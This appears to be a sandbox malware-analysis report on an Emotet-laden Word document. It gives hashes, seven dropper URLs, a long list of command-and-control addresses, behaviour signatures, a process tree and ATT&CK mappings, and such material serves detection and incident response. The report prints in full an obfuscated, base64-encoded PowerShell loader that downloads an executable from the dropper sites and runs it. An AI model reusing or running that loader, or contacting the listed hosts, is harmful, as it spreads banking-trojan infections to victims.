emotet | 5f7aa47c4d2f7cb9bbd7563f2b1d76dcd1a8a4a5089446f506052dfc9ba54b36

General

Target
MTHDJ09-17.doc
Size 187KB
Sample200917-txf4swtp7a
SHA256 5f7aa47c4d2f7cb9bbd7563f2b1d76dcd1a8a4a5089446f506052dfc9ba54b36
MD5 4859ae238e00453ff8517b3f9ec60a41
SHA1 00a465146aba1505d1db6455de52d8a503019d4e
SHA512 e4889b0c68ba7655372172ab53dab57929a9f1b5a28c09abea151ed1956ffb4e32ebd6c897477516e25d25f86b19db8beb36476cf456c35e19b1ec2231a296d4
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
https://scrappy.upsproutmedia.com/wp-admin/J/
exe.dropper
https://china-specialist.com/wp-content/YrLG/
exe.dropper
https://www.upsproutmedia.com/wp-admin/M/
exe.dropper
http://pagearrow.com/wordpress/B/
exe.dropper
http://a.xuezha.cn/lajop/OYdUzf/
exe.dropper
http://blog.saadata.com/cgi-bin/vwz/
exe.dropper
http://zeeamfashion.com/content/rqoL/

Extracted

Family

emotet

C2

74.219.172.26:80
134.209.36.254:8080
104.156.59.7:8080
120.138.30.150:8080
194.187.133.160:443
104.236.246.93:8080
74.208.45.104:8080
78.187.156.31:80
187.161.206.24:80
94.23.216.33:80
172.91.208.86:80
91.211.88.52:7080
50.91.114.38:80
200.123.150.89:443
121.124.124.40:7080
62.75.141.82:80
5.196.74.210:8080
24.137.76.62:80
85.105.205.77:8080
139.130.242.43:80
82.225.49.121:80
110.145.77.103:80
195.251.213.56:80
46.105.131.79:8080
87.106.136.232:8080
75.139.38.211:80
124.41.215.226:80
203.153.216.189:7080
162.241.242.173:8080
219.74.18.66:443
174.45.13.118:80
68.188.112.97:80
200.114.213.233:8080
213.196.135.145:80
61.92.17.12:80
61.19.246.238:443
219.75.128.166:80
120.150.60.189:80
123.176.25.234:80
1.221.254.82:80
137.119.36.33:80
94.23.237.171:443
74.120.55.163:80
62.30.7.67:443
104.131.11.150:443
139.59.67.118:443
209.141.54.221:8080
79.137.83.50:443
84.39.182.7:80
97.82.79.83:80
87.106.139.101:8080
94.1.108.190:443
37.187.72.193:8080
139.162.108.71:8080
93.147.212.206:80
74.134.41.124:80
103.86.49.11:8080
75.80.124.4:80
109.74.5.95:8080
153.232.188.106:80
168.235.67.138:7080
50.35.17.13:80
42.200.107.142:80
82.80.155.43:80
78.24.219.147:8080
24.43.99.75:80
107.5.122.110:80
156.155.166.221:80
83.169.36.251:8080
47.144.21.12:443
79.98.24.39:8080
181.169.34.190:80
139.59.60.244:8080
85.152.162.105:80
185.94.252.104:443
110.5.16.198:80
174.102.48.180:443
140.186.212.146:80
95.179.229.244:8080
104.32.141.43:80
169.239.182.217:8080
121.7.127.163:80
94.200.114.161:80
201.173.217.124:443
104.131.44.150:8080
137.59.187.107:8080
5.39.91.110:7080
203.117.253.142:80
157.245.99.39:8080
176.111.60.55:8080
95.213.236.64:8080
220.245.198.194:80
37.139.21.175:8080
89.216.122.92:80
139.99.158.11:443
24.179.13.119:80
188.219.31.12:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	188	1680	powershell.exe	72

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1168-14-0x00000000004B0000-0x00000000004C2000-memory.dmp	emotet
behavioral2/memory/1168-14-0x00000000004B0000-0x00000000004C2000-memory.dmp	emotet
behavioral2/memory/1168-15-0x00000000009F0000-0x0000000000A00000-memory.dmp	emotet
behavioral2/memory/1168-15-0x00000000009F0000-0x0000000000A00000-memory.dmp	emotet
behavioral2/memory/3804-18-0x0000000000590000-0x00000000005A2000-memory.dmp	emotet
behavioral2/memory/3804-18-0x0000000000590000-0x00000000005A2000-memory.dmp	emotet
behavioral2/memory/3804-19-0x00000000005B0000-0x00000000005C0000-memory.dmp	emotet
behavioral2/memory/3804-19-0x00000000005B0000-0x00000000005C0000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
25	188	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1168	Ngqqvldy.exe
3804	logoncli.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\propsys\logoncli.exe	Ngqqvldy.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3888	WINWORD.EXE
3888	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
188	powershell.exe
188	powershell.exe
188	powershell.exe
3804	logoncli.exe
3804	logoncli.exe
3804	logoncli.exe
3804	logoncli.exe
3804	logoncli.exe
3804	logoncli.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	188	powershell.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 188 wrote to memory of 1168	188	powershell.exe	79
PID 188 wrote to memory of 1168	188	powershell.exe	79
PID 188 wrote to memory of 1168	188	powershell.exe	79
PID 1168 wrote to memory of 3804	1168	Ngqqvldy.exe	80
PID 1168 wrote to memory of 3804	1168	Ngqqvldy.exe	80
PID 1168 wrote to memory of 3804	1168	Ngqqvldy.exe	80

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\MTHDJ09-17.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3888

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -encod JABQAG8AagBqAGoAdgAzAD0AKAAnAFgAJwArACcAawB3ACcAKwAoACcAOAAnACsAJwBiAGoAcgAnACkAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgB2ADoAdQBTAEUAcgBwAFIAbwBmAEkATABFAFwARwBlAGsAVwA2ADQATwBcAEIAQgB5AGoAOQBFAFcAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBDAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAGMAVQByAEkAYABUAHkAUABgAFIAbwB0AG8AYABDAG8AbAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwApACsAJwAyACcAKwAoACcALAAgAHQAJwArACcAbABzADEAMQAsACAAJwArACcAdAAnACkAKwAnAGwAcwAnACkAOwAkAFAAagB1ADAAdABlAG0AIAA9ACAAKAAnAE4AZwAnACsAJwBxACcAKwAoACcAcQB2AGwAJwArACcAZAB5ACcAKQApADsAJABXAGIAMwBrADgAYQByAD0AKAAoACcARABuAGUAJwArACcANgBkAGUAJwApACsAJwB5ACcAKQA7ACQATABsAF8AYwA1ADkAZgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwBvACcAKwAoACcATgBtAEcAJwArACcAZQBrAHcANgAnACsAJwA0AG8AJwArACcAbwBOACcAKQArACgAJwBtAEIAYgAnACsAJwB5AGoAOQAnACkAKwAoACcAZQAnACsAJwB3AG8ATgAnACkAKwAnAG0AJwApACAALQBjAFIARQBwAGwAYQBDAEUAKABbAEMASABhAFIAXQAxADEAMQArAFsAQwBIAGEAUgBdADcAOAArAFsAQwBIAGEAUgBdADEAMAA5ACkALABbAEMASABhAFIAXQA5ADIAKQArACQAUABqAHUAMAB0AGUAbQArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAFgAMQB2AGcAcgBkADMAPQAoACgAJwBDADEAJwArACcAMwB6AGYANgAnACkAKwAnAGsAJwApADsAJABHAHQAbQAxAHUAagB5AD0ALgAoACcAbgBlAHcALQBvAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABOAGUAVAAuAFcAZQBiAGMAbABJAEUAbgBUADsAJABJAGMAaQBoAGcAdgBpAD0AKAAnAGgAJwArACgAJwB0AHQAJwArACcAcABzADoAJwApACsAJwAvAC8AJwArACcAcwBjACcAKwAoACcAcgAnACsAJwBhAHAAcAB5ACcAKQArACcALgB1ACcAKwAoACcAcAAnACsAJwBzAHAAcgAnACsAJwBvAHUAJwArACcAdABtAGUAZAAnACsAJwBpAGEALgBjAG8AbQAnACsAJwAvAHcAJwApACsAKAAnAHAAJwArACcALQBhACcAKQArACgAJwBkACcAKwAnAG0AaQBuACcAKwAnAC8ASgAvACoAaAAnACkAKwAoACcAdAB0AHAAJwArACcAcwA6ACcAKwAnAC8AJwArACcALwBjAGgAJwArACcAaQBuAGEALQBzACcAKQArACgAJwBwACcAKwAnAGUAYwBpAGEAbABpACcAKwAnAHMAdAAuACcAKwAnAGMAbwBtAC8AdwAnACkAKwAoACcAcAAnACsAJwAtAGMAJwApACsAKAAnAG8AJwArACcAbgB0ACcAKQArACgAJwBlACcAKwAnAG4AdAAvAFkAJwApACsAKAAnAHIATABHACcAKwAnAC8AJwApACsAJwAqACcAKwAoACcAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAcwAnACsAJwA6AC8AJwApACsAKAAnAC8AdwAnACsAJwB3ACcAKQArACgAJwB3AC4AdQAnACsAJwBwACcAKQArACgAJwBzAHAAcgAnACsAJwBvAHUAdAAnACkAKwAnAG0AJwArACcAZQAnACsAJwBkAGkAJwArACgAJwBhACcAKwAnAC4AYwBvAG0ALwAnACsAJwB3AHAAJwApACsAKAAnAC0AYQAnACsAJwBkAG0AJwArACcAaQBuACcAKwAnAC8ATQAvACcAKQArACcAKgAnACsAKAAnAGgAJwArACcAdAB0AHAAOgAnACkAKwAoACcALwAvACcAKwAnAHAAYQBnAGUAJwArACcAYQByACcAKQArACgAJwByACcAKwAnAG8AdwAuACcAKQArACcAYwBvACcAKwAnAG0ALwAnACsAKAAnAHcAJwArACcAbwByAGQAJwApACsAKAAnAHAAcgAnACsAJwBlAHMAcwAvAEIAJwApACsAJwAvACcAKwAoACcAKgBoACcAKwAnAHQAdABwADoALwAvAGEALgAnACsAJwB4AHUAZQB6ACcAKwAnAGgAJwApACsAKAAnAGEAJwArACcALgBjACcAKQArACcAbgAnACsAJwAvACcAKwAoACcAbAAnACsAJwBhAGoAbwBwAC8ATwAnACsAJwBZAGQAJwApACsAKAAnAFUAegBmACcAKwAnAC8AJwApACsAJwAqACcAKwAoACcAaAB0ACcAKwAnAHQAcAA6ACcAKwAnAC8AJwApACsAKAAnAC8AYgAnACsAJwBsACcAKQArACgAJwBvAGcAJwArACcALgBzAGEAYQAnACkAKwAoACcAZAAnACsAJwBhAHQAYQAuAGMAbwBtACcAKwAnAC8AYwAnACkAKwAoACcAZwBpACcAKwAnAC0AYgBpACcAKQArACcAbgAnACsAKAAnAC8AdgAnACsAJwB3ACcAKQArACgAJwB6ACcAKwAnAC8AKgBoACcAKQArACgAJwB0AHQAcAA6AC8ALwAnACsAJwB6AGUAJwArACcAZQBhACcAKQArACgAJwBtAGYAYQBzAGgAaQBvACcAKwAnAG4ALgAnACsAJwBjAG8AbQAvACcAKQArACcAYwAnACsAKAAnAG8AbgAnACsAJwB0ACcAKQArACcAZQBuACcAKwAnAHQAJwArACcALwAnACsAJwByACcAKwAnAHEAJwArACcAbwBMACcAKwAnAC8AJwApAC4AIgBTAHAAbABgAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFAAbQBvAHQAXwBjAGEAPQAoACcARAAnACsAKAAnAGsAJwArACcAOAA4AG0AJwApACsAJwAxAHEAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAUgA3AHUAeQB2ADYAOQAgAGkAbgAgACQASQBjAGkAaABnAHYAaQApAHsAdAByAHkAewAkAEcAdABtADEAdQBqAHkALgAiAGQAYABPAHcATgBsAE8AYQBEAEYASQBgAEwAZQAiACgAJABSADcAdQB5AHYANgA5ACwAIAAkAEwAbABfAGMANQA5AGYAKQA7ACQAVQBkAHkAdwB0AHIAcQA9ACgAKAAnAEcAaABpAGgAJwArACcAagAnACkAKwAnADQAJwArACcAcwAnACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQATABsAF8AYwA1ADkAZgApAC4AIgBsAGUAbgBgAGcAdABoACIAIAAtAGcAZQAgADIANQA4ADUAMAApACAAewAmACgAJwBJAG4AdgBvAGsAZQAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACgAJABMAGwAXwBjADUAOQBmACkAOwAkAFcAagAyADEAZQBuADYAPQAoACcASQBiACcAKwAoACcAaAAnACsAJwBnADcAJwApACsAJwBqAG4AJwApADsAYgByAGUAYQBrADsAJABTADgAYwBnAHoAMwBlAD0AKAAoACcAUQAnACsAJwBrADQANgAnACkAKwAnADUAXwAnACsAJwBtACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQA1AHIAcQAxAG0AeAA9ACgAJwBWACcAKwAnADgAaAAnACsAKAAnAHEAagB2ACcAKwAnAG8AJwApACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:188
- C:\Users\Admin\Gekw64o\Bbyj9ew\Ngqqvldy.exe
  "C:\Users\Admin\Gekw64o\Bbyj9ew\Ngqqvldy.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:1168
- - C:\Windows\SysWOW64\propsys\logoncli.exe
    "C:\Windows\SysWOW64\propsys\logoncli.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:3804

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/188-8-0x00007FF8B8060000-0x00007FF8B8A4C000-memory.dmp

Download

memory/188-9-0x00000179FC4F0000-0x00000179FC4F1000-memory.dmp

Download

memory/188-10-0x00000179FC710000-0x00000179FC711000-memory.dmp

Download

memory/1168-14-0x00000000004B0000-0x00000000004C2000-memory.dmp

Download

memory/1168-15-0x00000000009F0000-0x0000000000A00000-memory.dmp

Download

memory/3804-18-0x0000000000590000-0x00000000005A2000-memory.dmp

Download

memory/3804-19-0x00000000005B0000-0x00000000005C0000-memory.dmp

Download

memory/3888-0-0x00007FF8BF4A0000-0x00007FF8BFB66000-memory.dmp

Download

memory/3888-5-0x000001BE4F3C7000-0x000001BE4F3CC000-memory.dmp

Download

memory/3888-2-0x000001BE47574000-0x000001BE4757D000-memory.dmp

Download

memory/3888-1-0x000001BE47574000-0x000001BE4757D000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads